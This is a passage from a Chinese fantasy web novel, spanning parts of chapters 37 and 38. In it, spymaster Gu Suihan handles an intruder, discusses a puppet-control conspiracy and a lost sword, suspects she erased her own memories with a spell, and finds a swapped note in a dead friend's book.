想到这里,他被自己逗笑了。他轻声道:“霜尘。”
霜尘幽蓝的剑身微微震动,发出了一阵一阵的嗡鸣声。谢停舟惊讶道:“你还认识我。”
霜尘又动了动。谢停舟喃喃道:“你说,人死后真的会去往另一个世界吗。”
按照修习时师父的说法,人死后都会去往幽冥,在邺城等着往生。公正的阎王爷会让十殿冥王裁量这个人生前的功过,许诺他来世富贵,或是打入地狱。
再往前几百年,甚至还有过大能劈开冥府,直接与阎王爷对话的记载。但如今诸法式微,这些记载也显得模糊而过分夸张了起来。已经很久没有大能了,更别提有人飞升,有时他甚至怀疑,那些道祖们的辉煌只是如今鼓励人们修习的手段,而并非真实存在的过往。
但自打姬泠死后,他开始格外期待死后的世界了。他甚至盼望着去往那里,和姬泠早早重逢。
但至少现在不行。姬泠的身后冤屈还没洗雪,他忍不了别人对她指指点点。
他看着霜尘剑,不知从里面汲取了什么勇气,站起来往外走去。
另一边,顾岁寒窝了一肚子火,气冲冲地回了落棋阁。
蒋奚老早就在门口等着她。见她回来,忙迎上去低声问:“怎么说?”
“不怎么说,霜尘我还给他了,眼不见心不烦。”顾岁寒脚下步子没停,“道歉倒是道得利索,就是没什么诚意。我也懒得和他多说了。以后他来落棋阁里,你们多防着就是了。你查得怎么样了?”
“小八我扔牢里去了,那个来翻你书房的我也找到了。”蒋奚语速飞快,“你肯定不知道那小黑棋为什么来你书房翻半天。”
顾岁寒停下脚步,挑起眉毛等下文。蒋奚的语气听起来快要崩溃了:“他们白天听教习讲,说他们这辈子都是落棋阁的人了,除非从名单上除名,否则从此就要为落棋阁卖命。他听完吓坏了,大半夜的跑你书房去翻名册要把自己划了!”
“……”顾岁寒不知道这是今天第几次叹气了,“然后呢?”
蒋奚摊手:“没有然后,以往这种想要半途而废的就直接废了武功扔出去。这小子刚进来没一个月,武功半点没有,更省事了,直接丢回他家就行。”
“哦……”顾岁寒若有所思,忽然抬头道,“那他们要把落棋阁里的记忆抹了吗?”
“抹的,很简单,一个‘别昨日’而已。”蒋奚解释,“就是把记忆取出来,变成一个水晶球大小,直接碾碎了或者收在阁里就可以了。”
“啊,原来不是直接封印,”顾岁寒沉吟,“也就是说,基本没有恢复的可能性是了,对吗?”
蒋奚点头,忽然又想起来,半跪下来请罪道:“这次小八的事是属下失察,要不是我把他从西南分舵提上来,也不会让他有这个可乘之机。”
顾岁寒没打算就这件事跟她追究,只是摆摆手让她起身:“谁都有失察的时候,而且这事和你又没关系。你帮我把那个翻我书房的人处理好就行。”
蒋奚点头应是,向后退去没入了黑暗中。顾岁寒看着她离开的方向,叹了口气,往缩地千里阵
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那边走去。
天已经蒙蒙亮了。她在阵前停住了脚步,看着渐渐擦亮的天边,感到了一阵难言的疲惫。
今晚发生的事堪称魔幻。她简直不知道说什么是好了,只觉得凭落棋阁这纸糊的防御,去年遭那一番劫难实在是有些活该了。
但这话她也不能说出口,只好心事重重地咽了回去,迈进了地上阵法画的圈。阵法另一端的定北侯府静悄悄的,宋安澜和姬昀应该都还在上林苑善后。她闷头进了自己的屋子,衣服也没换,一头倒在床上,沉入了黑甜的梦乡。
再醒来时,窗外一片漆黑,让她微微愣神,差点没反应过来时间。她理了理身上的衣服走出门外,发现红日西垂,应当已经是傍晚了。
主屋那边隐隐有人声传来。她沿着小径走过去,却发现是宋安澜回来了,正指挥着家将帮忙把行李搬进屋。
看到她来,宋安澜的眼睛一亮,快步上前:“怎么样?我看阵法被动过,就知道你肯定是回来休息了。去滇国那边的事安排得如何?什么时候动身?”
顾岁寒微微一愣,这才想起来昨晚折腾大半夜,居然把正事给忘了,不由得一阵懊恼,和宋安澜告罪道:“抱歉殿下,属下失职,昨日阁里发生了些意外之事,还没来得及安排西南一行。”
说罢,不等宋安澜发问,她就把昨晚的荒唐事一五一十地交代了。宋安澜听完也是久久皱眉不语,末了摇头:“……这个谢停舟,真是的。”
顾岁寒听她语气,才后知后觉地想起来宋安澜和谢停舟之间似乎还有些围绕着姬泠的说不上台面的小过节——谢停舟对姬泠和宋安澜相处时间更多而吃味,宋安澜则是不是很喜欢谢停舟这个姐夫。
顾岁寒一个外人,不好点评其中这复杂的关系,好在宋安澜也没指望着她开口,只是拍了拍她肩膀安慰道:“谢停舟此人我也知晓,全心全意装的都是阿泠一个人,为此做出的一些出格的事……你也多担待着吧。此人于镇西定北二军都有大用,暂时也不能得罪。”
这便是要高高拿起轻轻放下的意思了。顾岁寒早有预料,闻言也只能长出了一口气:“——是。”
宋安澜察觉到了她的不满,安抚道:“当然,谢停舟此番也是冒犯了你在阁里的威信,还白白浪费了你这么多时间,你按着阁里的规矩处理他也是应该的,只是要掌握好分寸,别真结下什么梁子。过几日-你出发去西南,还要依仗着他在那边带路呢,和和气气才是要紧事。”
顾岁寒闷声道:“也是属下办事不力,书房竟能让刚进阁的小弟子进来翻找不说,阁里的人和外人有勾结也没能及时查出。是属下失职。”
宋安澜一挑眉:“我的老天奶,这算什么事,你刚回阁里接手不久,阁里的疏漏跟你有什么关系,哪里谈得上失职不失职的。”
“我就老实和你说了吧,落棋阁自成立那日起便不如归雁台严苛。落棋阁脱身于兵部,早几十年都是那种混皇粮的蛀虫呆的地方,要是它真那么铜墙铁壁,我父皇怎么改朝换代自立为王的?”
37. 钗头凤 二
“……”这话也太直白了些,顾岁寒眼角跳了跳,站在原地没接话。
宋安澜吸了口气继续说:“我父皇别的不说,就是宽仁。棋部正式独立出来成为落棋阁之后,他也没见有多严格重视,刚成立那几年甚至是想进就进想出就出。你是不太记得了,同你一起进阁里的那些人走了不少呢,我还劝过阿泠干脆出来吧,别在里面待着消磨了。”
顾岁寒对这段故事完全没有印象了:“啊?”
“嗯,对,”宋安澜也陷入了回忆中,“她么,从小就把你当成人生目标,自打你进了落棋阁,她就也一直想进。张首晟几次来学宫,她都跟花孔雀似的,一天恨不得在他面前转好几圈。”
这也太可爱了。顾岁寒没忍住轻轻笑出了声,宋安澜嘴角也有了一丝寡淡的笑意:“后来她如愿以偿地进去了,但那几年阁里管理不利。张首晟在棋部时是个优秀的棋子,但却未必是个优秀的执棋,很多人不服管,很多人离开。”
顾岁寒微微睁大了眼。宋安澜叹了口气:“我记得那几年阁里白棋的死亡率还挺高的,很多白棋不是死了就是逃了,所以我才劝阿泠早早离开算了,在里面不一定能有什么建树,还要冒着丢小命的危险,何必呢?”
“我那会刚进镇北军……那会还叫定北军呢,立足未稳,正是缺帮手的时候,想叫她过来帮忙。”宋安澜讲累了,抱着手靠在了墙上,“不过她拒绝了。我感觉她还挺有想法的,现在阁里一些制度,包括棋子离开落棋阁时要废武功除记忆这些,基本都是她定下来的。”
“可以说,落棋阁有现在的样子,她算得上功不可没。”宋安澜看着北边已然暗沉下去的天空,叹了口气,“所以说后来张首晟一死,很多人就推举她做了执棋,也有这方面的原因。不过这执棋的位置也没坐热乎,她就走了。”
宋安澜的眼底有了一丝水光:“我至今还是不明白。她算不上很达观的人,有时也会钻牛角尖。可她叛国一案疑点重重,明眼人都看得出来,只待诸事平定就会再审。可她为什么就跳城楼了呢?”
这个问题顾岁寒也没办法解答,只好静静听着她抒发-情绪:“我……唉,说这些也没有催促你快去查此案的意思。眼下更重要的还是傀儡案,毕竟活着的人更重要……唉。”
短短一句话里她又叹了两次气。顾岁寒知道她心中烦闷,低声道:“是。这件事我会尽快安排的。”
宋安澜拍了拍她的肩膀,久久无言。一个家将走到她身后,朗声报告道:“将军,行李都放好了!”
姬昀从屋里走了出来,袖子撸到了大臂上,看起来有些灰头土脸的,似乎刚刚干完活:“哟,梅臣醒了,我说安澜在和谁说话……安澜,东西我基本都放到原位了,还有别的要做的吗?”
宋安澜摇头:“没了。哦对了灼烨,离开上林苑前我忘了问了,姬漓怎么样了?”
姬昀在衣摆上蹭了蹭手,走了过来:“就……还那样,我去探望了一下,感觉和以前也没什么区别。现在她应该回韩府了吧。”
顾岁寒这才想起来宋安澜回来后一直没提过上林苑那边的进展,照理说那么大一个烂摊子,不应该这么短时间内就能收拾完。她打听道:“上林苑那边如何了?”
宋安澜闻言面露痛苦之色:“嗯……怎么说呢?我弟醒了,活蹦乱跳的,做主把人都遣散了,大臣都回城里了,一部分晕倒的人也醒了……哦对了,差点忘了和你说。”
她站直了身子:“我弟和沈和正又关起门聊了点事,不过你们应该有黑棋听墙角听到了,你记得问问他们聊了什么,回头跟我说一下。”
“哈?”顾岁寒皱眉,“他之前不还怕沈和正怕得直哆嗦,说要老……我去护驾的吗?怎么醒来就赶找人家关门呢聊天了?”
她对宋礼把伤病号叫去给他当侍卫的事怨念深重,差点没忍住蹦出来个“老子”,临出口想起来宋安澜还在,硬生生把话头转了个弯。
好在宋安澜没在意这点细节,只是冷笑:“我怎么知道。兴许晕了一会,躺久了给他的胆子泡水肿了呢。”
这笑话实在太冷了。主屋门口一时安静了下来,片刻后,姬昀突然出声:“你在上林苑外值守的时候,是不是被沈和正的……‘分身’找上门来着?”
顾岁寒点了点头。姬昀和宋安澜对视了一眼,才谨慎地说:“我之前和安澜推测,陛下和沈和正或许曾私下联络过,至少看陛下的表现,一些谈判的条约应该是提前商量过的。那有没有可能,让沈和正见到你,也是他们谈判中的一环?”
顾岁寒还没开口,宋安澜先不赞成地皱起眉:“怎么可能?宋礼疯了吗?沈和正买点好处,让宋礼挟制我,我还能理解,岁寒可是直接和碎曦剑挂钩的人,他怎么敢的?”
姬昀:“这我怎么知道……我感觉陛下的心思真是越发莫测了。”
顾岁寒对以前的宋礼几乎没什么记忆,但也听蒋奚说过,以前的宋礼做太子时虽谈不上有什么千古明君之相,但至少还是个一心为国的青年。先帝为了历练他,曾派他去处理江南世家贪腐一案,他也是雷厉风行,将那些蛀虫剪除的干干净净。
也正是因此,宋礼登基前一直不太受朝中江南学派的人待见。但不知为何,或许是宋礼毕竟还是正统,他登基之后的大半年,江南学派居然还算得上老实配合。
宋安澜无意识地抠着指甲边上凸-起的手皮:“这也是我最担心的……你说,小礼性情变化,有没有可能已经被韩玉青给动手脚了?要不然他前日晚上怎么晕倒了呢?”
三人一时沉默无语,片刻后,顾岁寒才道:“可是我们无法验证这件事。”
这才是最恐怖的地方。傀儡术就像是突然出现在临安的瘟疫,没有预兆、无法识别、不知道病因。唯一已知的讯息是被控制的人很可能在韩玉青出逃当晚都晕倒过,但似乎也有很多晕倒的人并不是傀儡术的受害者。
宋安澜重重地叹了口气——顾岁寒感觉自己最近听到最频繁的声音就是叹气声了。良久,宋安澜才开口道:“这件事,我们先多多警惕着吧。岁寒,南疆一行刻不容缓,你和谢将军早日出发。谢将军精通阵法符咒,学起滇国妖修一道也是触类旁通,应当不难。”
“此去除了探访韩玉青下落之外,将傀儡术原理学会,反过来将朝中所有韩玉青的爪牙抓出来才是正经。临安这边,我和灼烨先警惕着,遥祝你二人一路顺风。”
顾岁寒心情沉重地往缩地千里阵的方向走去。临安表面一片祥和,但从此次上林苑诸多乱事来讲,底下掩藏的真相远不像表面那样简单。韩玉青也绝非他们一开始想的那种没什么势力的小人物,他的手很可能已经伸向了这个国家的最高权力。
但顾岁寒还是没明白——韩玉青好端端的人臣不干,为什么非要暗地里搞这些蝇营狗苟的?
须知古来反贼一般都有点理由。要不是天灾人祸民不聊生,便有人站出来振臂高呼“王侯将相宁有种乎”,把腐朽前者的推翻,自己再建个新的——南盛差不多也是这个套路,区别是前朝末帝实在太窝囊,被北周打得落花流水三千里,他的弟弟也就是先帝实在忍不住,把末帝干掉取而代之;要不就是武将兵权滔天野心渐起,渴-望更高的权力从而举兵造-反,安史之乱便是活生生的例子。
可是韩玉青哪个都不符合啊?
他官运亨通,虽说曾在外任职,却也只是本朝京官必备的外放经历的一环;他为官清正,在朝中民间都赞誉颇高,除了一些疑似家中不和的污点,堪称完人。
最重要的是,他所在的江南学派和武将一流一向是死对头,韩玉青就算真造-反成功,宋安澜也会第一个不同意。没有兵权的皇帝,又能在那个位置上坐多久呢?
顾岁寒百思不得其解。她不知道比自己多了一些记忆的宋安澜有没有什么头绪,反正目前似乎也没有要告诉她的意思。她的首要任务还是去滇国把傀儡术弄明白。
她莫名有些泄气,但也知道现在执行宋安澜的命令才是要紧。她穿过缩地千里阵,发现落棋阁里似乎比往日此时热闹一些,便随手抓了个匆匆路过的小棋子:“这是在做什么呢?阁里闹哄哄的。”
小棋子原本兴高采烈地要去凑热闹,注意到是她之后吓了一-大跳:“执……执棋!没,没什么啊,就是昨日去翻你书房的那个胆小鬼被抓住啦,蒋奚师姐为了以儆效尤,要公开处置他之后逐出落棋阁呢!”
正说着,不远处的演武场传来一声惨叫。不知为何,那声音明明不高亢,顾岁寒的耳朵却像被针扎了似的,一阵阵地疼了起来。她强压下不适,对那小棋子道:“走吧。”
小棋子看起来是个喜欢看八卦的,得了她的允许立马一蹦一跳地跑远了。顾岁寒感觉头止不住地发晕,落后了两步,走到演武场附近时,人群已经渐渐散开了。
演武场说是演武场,与军中的演武场差了还是不少的。地方小了不少不说,为了方便黑棋练轻功,里面都是大大小小的木桩木架,只有最中间一块地方是用于出师大比的空地。
顾岁寒隔着木架子,远远地看见蒋奚就在正中间,面前还躺着个奄奄一息的小小黑影,连忙扶着木架走了过去:“小奚?”
蒋奚原本正面色不虞地看着地上的人,侧头和旁边黑棋打扮的姑娘说着什么,见是她来,脸上露出了个笑模样:“执棋。”
顾岁寒走到那小男孩边上,蹲了下来,试了试他的鼻息:“怎么这么郑重,我还以为私下处理了就好了。”
蒋奚对旁边几个黑棋使了个眼色,几人会意,把人抬去了药寮。看着他们渐渐走远,蒋奚才道:“不为什么。闯执棋书房是重罪,再加上最近阁里人心惶惶,新棋子们心思浮动,我杀鸡儆猴而已。”
阁里具体的细务一直是蒋奚从旁协助的。顾岁寒记忆不全,许多事情都要仰仗她,所以两人相比上下级,更像合作者。
蒋奚一贯大大咧咧的,很少有这样情绪低落的时候。顾岁寒关心道:“没事吧?”
“没事,”蒋奚阴郁道,“就是……这小畜生说了些话。没事的。”
顾岁寒听她意思似乎不想多说,便没再追问。她注意到蒋奚手上的水晶珠,不由得诧异道:“这就是取出来的记忆吗?好漂亮,小小的还挺袖珍。”
这是实话,这小珠子不过拇指指尖大,表面却是流光溢彩,七色轮转。蒋奚顺着她的话看向了手中的珠子,勉强地“嗯”了一声:“对……他刚进阁里不久,所以珠子不大,如果记忆多一些,这个珠子就会更大。”
顾岁寒拉上她的衣袖,两人一起往顾岁寒书房的方向走去。顾岁寒看着那珠子,随口道:“这术法真神奇。记忆本是人脑袋里的东西,居然能摘出来不说,还能凝成这么一个实体。”
说到术法,蒋奚打起了些精神:“嗯……这术法原理其实不难。人的记忆好像一个池塘,里面有各种各样的鱼,只需要撒下相应的鱼饵,那种鱼就会浮上水面,被我一网打尽。”
这个比喻似乎有些太抽象了。蒋奚看到顾岁寒有些迷茫的眼神,尝试换个方法向她解释:“比如说,我现在和执棋说‘宋将军’,执棋是不是立马就会想起来很多有关宋将军的事?包括宋将军的长相、品格、还有宋将军说过的话。”
顾岁寒点头,蒋奚便继续道:“就在这时,倘若我向执棋使用‘别昨日’,这些记忆就会被我从执棋的脑海中取走。那个小畜牲就是,我反复和他提及‘落棋阁’,就能把他有关落棋阁的记忆都清除掉。”
闻言,顾岁寒心中微微一动:“这个术法……难吗?”
蒋奚犹豫道:“应当……不算难,阁里很多人都学过。但是要求被施术者信任施术者,不然被施术者很难在施术者提及词语时准确地想起相关内容。要么就像今天这样,我的修为比他高出去很多,就可以像个强盗一样闯进他脑中搜刮相关的记忆,不过这样会很痛苦。你刚刚听见他惨叫就是因为这个。”
顾岁寒试探道:“那……这个术法自己能对自己用吗?”
“应该……可以吧,毕竟自己是最信任自己的。”蒋奚不确定道,“但阁里好像没有这样的先例……”
她看到顾岁寒露出若有所悟的表情,忽然意识到了什么:“执棋的意思是,你失忆是因为自己对自己使用了‘别昨日’?不应该吧,谢将……他不是说执棋应该是因为归雁台的‘搜魂’才失忆的吗?”
“也有可能,”顾岁寒没把话说死,“但之前审过陈筑之后,我就在想,如果真是因为‘搜魂’对灵魂的损伤带来的失忆,那我不应该把所有事都忘干净吗?”
顾岁寒查过阁里的旧典籍。“搜魂”这个术法直接作用于魂魄上,所以相比于“别昨日”这种文明的术法,“搜魂”对灵魂损伤的后果更可能是导致被施术者直接变成一个疯子。一个疯子,他的记忆自然也是混乱的,所以很多人才把“搜魂”的后果和“失忆”混为一谈。
但她目前的精神状况很明显还算正常,没有要突然发疯去朱雀街街上又唱又跳的趋势,记忆虽说不算完整,却也还算条理清晰。
那反过来想,在沈和正手上时,她从牢中逃脱后碎曦剑不翼而飞,沈和正也没能从她这里问到碎曦剑的下落,会不会是她先下手为强,把自己有关于碎曦剑的记忆都清除了?
所以万能的搜魂才会一无所获,因为连顾岁寒自己都不知道碎曦去哪了。
顾岁寒和蒋奚面面相觑。蒋奚喃喃:“……好像有道理。”
困扰顾岁寒多日的问题终于解开了。宋安澜一直以为她是因为在沈和正手上吃了苦头,因为过大的刺-激才失去了一部分记忆。甚至连顾岁寒本人也是这么以为的。
所以她才在宋安澜的安排下回了落棋阁,努力和以前熟悉的人和事物接触,试图回忆起之前的记忆。她们都没料到,这段记忆不是因为痛苦而造成的短暂遗忘,而是彻彻底底地完全丢失。
顾岁寒小心道:“额……假如,我是说假如,我当时自己取出了自己的记忆,然后为了稳妥,把那个球碾碎了,那这个记忆……还有找回来的可能性吗?”
蒋奚用同样呆滞的眼神回视,摇了摇头:“理论上……应该不行了,除非那个球没碎,而是被您藏到了某个地方,那要是找回来的话,可能还能试着逆行术法,把记忆重新放回去。”
顾岁寒:“……”
假如这个猜测是真的,那她对自己还挺狠的,把沈和正知道碎曦剑的下落的路断了不说,她自己也不可能知道了。
一想到宋安澜那边还殷殷地等着她什么时候恢复记忆,提供一点碎曦剑下落的线索,她就感到一阵心虚。她呻-吟道:“这个……目前还只是猜测,你先别跟别人说,我再想办法验证。”
蒋奚知道这件事的严重性,自然连连答应下来。
但话虽如此说,顾岁寒也没想到能用什么方法验证。千头万绪在她脑中纠缠,她喃喃道:“要是碎曦识点相,自己碎了好了。”
这样南盛就不用一直担惊受怕,担心它落入北周手上了。
蒋奚安慰她:“执棋不用太担心,现在不只是咱们对碎曦的下落毫无头绪,北周也是。”
顾岁寒缓缓点了点头,只好暂时寄希望于上天能站在他们这边,让碎曦的消息能被他们先得到。她叮嘱蒋奚:“你……回头传讯给青州分舵,让他们再多派些黑棋打听碎曦的下落。”
蒋奚应是,掏了个小册子出来,又不知从哪变出了一支笔刷刷地把事情记下。顾岁寒瞥到了上面密密麻麻的小字,看到上面“小八”的名字,顺口问:“对了,小八那边怎么样了?”
“按照玩忽职守的罪名,判了十鞭。被他替班的那个白棋罚了十个月的俸禄。”说起这,蒋奚神色郁郁,“谢……那边我也派了两个黑棋一
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直看守着,没有限制他行动,但一言一行都被我监视着,应该不会再有之前的事了。”
顾岁寒颇感意外:“他回阁里了?”
她还以为她那番重话一放,他应该有段时间不会回来了,原本还发愁怎么把人叫来和她一起去滇国来着。蒋奚点头:“对,今天上午就回来了。我说要一直派人看守他也没说什么,看起来还挺怡然自得的,一直在自己书房里演算阵法。”
顾岁寒摸不透他心思,但他既然愿意主动回来也省了她的事,自然也是乐意的。她想了想道:“嗯……你找人和他说,收拾一下必要的东西,明天就要出发去滇国了。”
蒋奚惊讶道:“明天就去?这也太着急了。”
“我不着急,但是那些被傀儡术控制的人等不及了。”顾岁寒把手放在书房门上的禁制上,法阵感到了她的灵力,自动向两边分开,“我……”
说到这里她的话头微微一顿,感觉自己似乎忘了些重要的事。蒋奚见她沉默,也跟着莫名其妙地停下了脚步。顾岁寒感觉自己恐怕也需要蒋奚那样的一个小本子了,她尽力回想了一下今天宋安澜和她说过的话,才勉强想起来:“哦,对了,在上林苑看守沈和正的黑棋有回来的吗?”
“有的,和您前后脚。沈和正回临安城外的驿站了,我就另找了一批人换班看守。”蒋奚麻利道,“我去替您叫一个过来?”
顾岁寒点点头,见蒋奚走远,忽然又想起来什么,叫住了她:“你帮我找两个熟悉西南分舵的黑棋吧,我带着一起过去。”
蒋奚远远应了声:“好——”
顾岁寒看着她的背影消失,转头进了书房,把之前画的那张图又找了出来。她看着上面错综复杂的关系线,不由得又想起来自己昨晚被谢停舟骗得团团转的傻样,不由得一阵挫败。
如今真相明了,这张图显然是有问题的。但她细看之下发现里面的推测也不是全然不能用,想了想把另拿了张纸,把图里除了“寻剑人”之外的内容誊抄了上去,把原来的图在烛火上烧了个干净。
刚刚烧完,就有人扣响了书房门。她进门时没有关门,只是虚掩着,便没有起身,只是抬高了声音道:“请进。”
一男一女两个黑棋打扮的人推门进来。顾岁寒打量着来人:“是蒋奚叫你俩来的?”
男人高声道:“是!属下端木昂,是先帝二十三年出师的黑棋,擅长飞刀和弓箭,听凭执棋调遣!”
女人声音就要低很多:“属下陈二娘,先帝二十四年出师的黑棋,什么都会一些,听凭执棋调遣。”
顾岁寒看着这两人。落棋阁里的棋子大体分两种,一种是小八那样家中贫困的,被落棋阁用钱买命,这种在阁里占九成;还有一种就是家中在京里小有地位,把子女送进来拼一把——倘若落棋阁的棋子能平安活到三十五岁,就可以向执棋申请离阁。黑棋离阁后可以由执棋作保,在军中谋个不低的职位;白棋离阁后能在兵部某个文职。
端木昂有名有姓,而且姓不常见,顾岁寒隐隐约约记得户部就有个小主事姓端木;陈二娘的名字相比之下就随便很多。她不动声色地低头翻开阁中棋子名册,顺着两人的出师时间找到了两人。果然,端木昂的出身属于后者,陈二娘的出身属于前者。
她微微皱眉。老实讲,她不是很喜欢有出身的黑棋,这些黑棋心念杂,有后路,所以往往也不能拼尽全力。但蒋奚既然给她点来了,她也不好半路拒绝,再加上她本意只是找人从旁协助,要求也并不高,只好勉强点头:“好。”
说这话时,她低头又扫了两眼名册,意外发现端木昂的出师成绩还不错,在同批三十二个黑棋中排行第三,相比之下陈二娘的就要逊色不少,在同批黑棋中排十九。
虽说不同年份出师的黑棋有时会因为同期的实力不同,有实力相似,大比排名差距却很大的情况,但大部分情况下大比排名还是能反映一部分实力的。她心里大致有了数,抬头看向面前两人:“我叫你们二人是来做什么,蒋奚应该和你们都说过了吧?”
两人点头。顾岁寒便继续往下说:“但我还是要再强调一遍。此去滇国要直面我们并不了解的妖术,所以什么情况都有可能遇见。更有甚者,那里可能是我们的埋骨之地,你们心里都有准备吗?”
端木昂大嗓门嚷嚷:“自然!为南盛献上生命是属下作为黑棋的荣耀!”陈二娘跟着诺诺点头。
“好。”顾岁寒看着两人的眼睛,“那你们暂时就归我和谢将军直接调配。在滇国期间,你们要绝对服从我们两人的命令,我和他的命令冲突时,优先听我的。”
两人还是点头。顾岁寒道:“好。那你们回去好好准备,明早我们就从阁里出发。”
端木昂看起来十分兴奋,红光满面地走了,陈二娘落后几步,被顾岁寒叫住了:“二娘,你等一下。”
听到顾岁寒叫她名字,陈二娘明显受了惊吓:“执……棋?”
顾岁寒还惦念着早些时候在演武场的事:“听说蒋奚在演武场处理那个新来的小孩时,那小孩说了点难听话,你知道是什么吗?”
陈二娘犹豫道:“可……可……”
“没事,他怎么说的,你就怎么复述。”顾岁寒看着她的眼睛,鼓励道。陈二娘结结巴巴:“没……也没说什么,就是说落棋阁是吃白饭不干事,管得严也没什么用,要不是阁里把碎曦弄丢,自己的妈妈也不会死……”
原来如此。顾岁寒摇了摇头,手掌向内往外挥了挥:“好,我知道了,你回去吧。”
陈二娘惴惴地转身要走,顾岁寒想了想又叮嘱她:“好好休息。”
陈二娘匆匆点了点头,逃也似的跑了。顾岁寒心说这两人性格差距也太大了,卷起了重新誊抄的图,塞回了桌下。
天色已经彻底黑了下来。或许是因为白天都在睡觉,她现在毫无睡意,感觉自己还能再去上林苑跑一圈。
顾岁寒推门走出书房。夜幕四合,晚上值守的人已经开始换班了。她看着他们忙碌地来来往往,忽然想起来昨晚嘱托蒋奚查验一下白天阁里的人有没有木偶纹,但蒋奚还没跟她汇报。
不过按照蒋奚的负责程度,这事一定是做了的,没汇报应该就是没有异常。她心事重重地坐在了门口的台阶上,吹着秋风,心中不由得有些茫然。
记忆很有可能是找不回来了。顾岁寒感觉有些可惜,但已经没有刚得知这个消息时那样伤感了。这几个月没有那些记忆,她不也活得好好的吗?
眼下最重要的事还是弄明白傀儡术,还有找寻碎曦剑的下落。前者的思路很明晰,去滇国查就可以了;后者则要麻烦得多。这把名为神剑的凶器好像一滴落入大海中的水,让所有人都毫无头绪。
按理说以这把剑冲天的煞气,它的下落不应该让两边的人都纳闷这么久,所以之前顾岁寒猜测这剑自己碎了也不是没有道理。
但顾岁寒觉得还是不能寄希望于运气。那把剑无论是否还完整存在于世上,它的下落也应该先被南盛掌握在手里。
但这下落也不是这么好找的。她揉了揉眉心,心说要是找回来了一定要再造个灵罗盘,把它俩的气息互相牵连起来,这样下次再丢了就能顺着罗盘找了。
“天,还是不要有下次了。”她捂住了半张脸,“有一次已经够折腾了……要是能找回来,我一定给它造个钢箱子装进去,再把它焊死。”
晚风习习,阁里的各处屋子都点上了灯烛。她眯起眼睛一一辨认阁里的各处屋舍,忽然发现藏书阁也点起了灯。
因为点灯烛看书容易叫眼睛变花,影响五感敏锐,所以平日里藏书阁一到晚间就会关门。顾岁寒推了推日子,才想起来马上就要到今年出师的棋子大比了,为了方便棋子们临时抱佛脚,藏书阁都是全天开放的。
她灵机一动,心说反正也睡不着,不如去藏书阁查查滇国相关的记载。
38. 钗头凤 三
顾岁寒轻轻推开藏书阁的门,熟门熟路地从侧面木梯拾阶而上。
她回阁里之后的这一个来月,藏书阁的一二楼几乎已经被她翻遍了。一楼放是阁志和各地县志,大到朝代兴亡、小到皇帝上个月最喜欢什么茶都有记载。不断有新的记录送进来在此处封存,很方便顾岁寒了解自己没有记忆的时间里发生的事。
二层则是一些术法书和落棋阁自己用的课业书,常见的有符咒书、阵法书,少见的有易容术书,暗器书,甚至还有《一百零八种暗杀法》这种杂书。鉴于顾岁寒醒来之后忘了不少术法使用方法,所以这层楼她也经常光顾。
有一次她甚至在一本记载易容术的书里找到了自己读书时的批注。那一篇主讲用猪皮熬制人皮面具,她在旁边写道:“腥臊。不牢固。不好用。”批注旁挤满了密密麻麻的小字,都是什么“啊啊啊是还没出师的梅臣学姐”之类没什么营养的胡言乱语。
顾岁寒:“……”感觉自己以前还挺受欢迎的。
三楼她就没怎么去过了。这层楼主要收录的是远走别国的白棋们送回来的情报,还有一些记录滇国和北周风光的游记。顾岁寒只在查归雁台的时候来过两次,属于滇国的那小半边一次也没去过。
出师大比不考察别国风物,所以三楼静悄悄的,一个人都没有。半插在墙壁上的烛台噼啪燃烧着,顾岁寒顺手拿了一个下来,举在手里向前走去。
滇国弱小,所以落棋阁在那边布的线不多,送回来的东西也少。她将火把举高了一些,很快就在书架上面找到了自己想要的书,踮起脚尖取了下来。
这是一本略显老旧的《滇南记》。顾岁寒对这本书的内容有点印象,依稀记得里面应当是笼统记载了滇史和滇国地志。谁料随着她拿书的动作,一张薄薄的纸片从书架上飘落下来,她眼疾手快地接住,发现这好像是一篇批注。
藏书阁里的很多书都是棋子们看完后觉得有价值,直接捐进来的。这本书似乎也是,它的主人还很讲究,不愿意批注弄污书页,所以另附了纸进去,整本《滇南记》都被塞得鼓鼓囊囊。顾岁寒小心翼翼地翻开装帧的书面,主人留下的印鉴赫然入目——姬泠。
顾岁寒没想到居然在这里猝不及防地看到了熟人的名字,对这本书的兴趣顿时大增。她收起那张纸,小心翼翼地托住书,防止那些批注页掉下来,珍重地翻开了书。
她阅读速度很快,堪称一目十行,很快就把小半本书看完了。出乎她意料的是,不同于南盛和北周一个皇帝辖制天下,滇国名为一国,却只有一个不怎么管事的“国主”,大部分地方都是分部族而治,只有在两个部族有矛盾时,国主才会出面协调。
这些部族基本上依据种族的不同和地理上的隔阂而划分,其中最大的就是位于南部的吉象一族和西南的雪狐一族。不仅如此,或许是因为兽群原本的规则影响,这两族都是以女以母为尊,和南盛大不相同。
姬泠还在这里留了个批注:“有意思。”
她的字秀丽挺拔,有筋有骨,很有风格。顾岁寒回忆了一下自己控不住手似的狗爬字,不由得呲了呲牙,心说改天自己也要找个字帖练练。
后面的内容基本就是滇国各个部族的详细介绍,这书作者看起来还挺幽默,行笔十分活泼,读起来完全不枯燥。顾岁寒自认为不是什么喜欢看游记的人,看得也津津有味,无怪乎姬泠这么宝贝这本书。
书是有意思,和顾岁寒想知道的滇国术法的关系却不大,她为了节省时间,翻得飞快。翻过某一页时,她停顿了一下,随后又翻了回去——刚刚这页没有夹批注纸。
她把掉出来的那张纸拿了出来,粗略比对了一下内容,发现这纸应该就是这里的。她把纸抚平,重新夹了回去,手却微微一顿。
这纸的厚度不对,和别的批注纸似乎并非同一种。
她将纸重新拿了出来,翻来覆去看了看,却没看出来什么端倪。这批注原本在的那一页是说玄蝶一族的,批注纸上补充了一句“此族位于国土正中,却一直名不见经传,有趣”,似乎毫无问题,仿佛就是姬泠塞纸塞到一半纸用完了,所以临时换了一张。
顾岁寒疑惑地皱起眉。不知为何,她还是觉得哪里不对,她前后翻了翻书,比对了一下前后的批注,终于看出了端倪。
她也不管要不要爱惜前人旧书了,以这页为起始,把前后的几张批注都拿出来放到了地上。除了掉出来的这张,姬泠用来批注的纸是阁里统一采买的生宣。这生宣的尺寸折叠后平均裁为八小块,正好就是姬泠用来夹在书里的这种纸的大小。
但当顾岁寒把纸沿着裁切的痕迹拼好之后,这大张生宣却正好缺了一块,看前后内容,缺的好巧不巧就是掉出来这张。
也就是说,这里本来应该另有批注,却被姬泠换成了现在这张!
换纸时她可能比较匆忙,手边没有原本的生宣,就干脆找了别的纸代替。换批注本来也不算什么稀罕事,但顾岁寒还是隐隐有些不安。
她说不清楚自己不安感的缘由。从姬泠的批注习惯来看,她不喜欢写长篇大论,一般另增的批注纸也就写个小半张左右,空余很大。
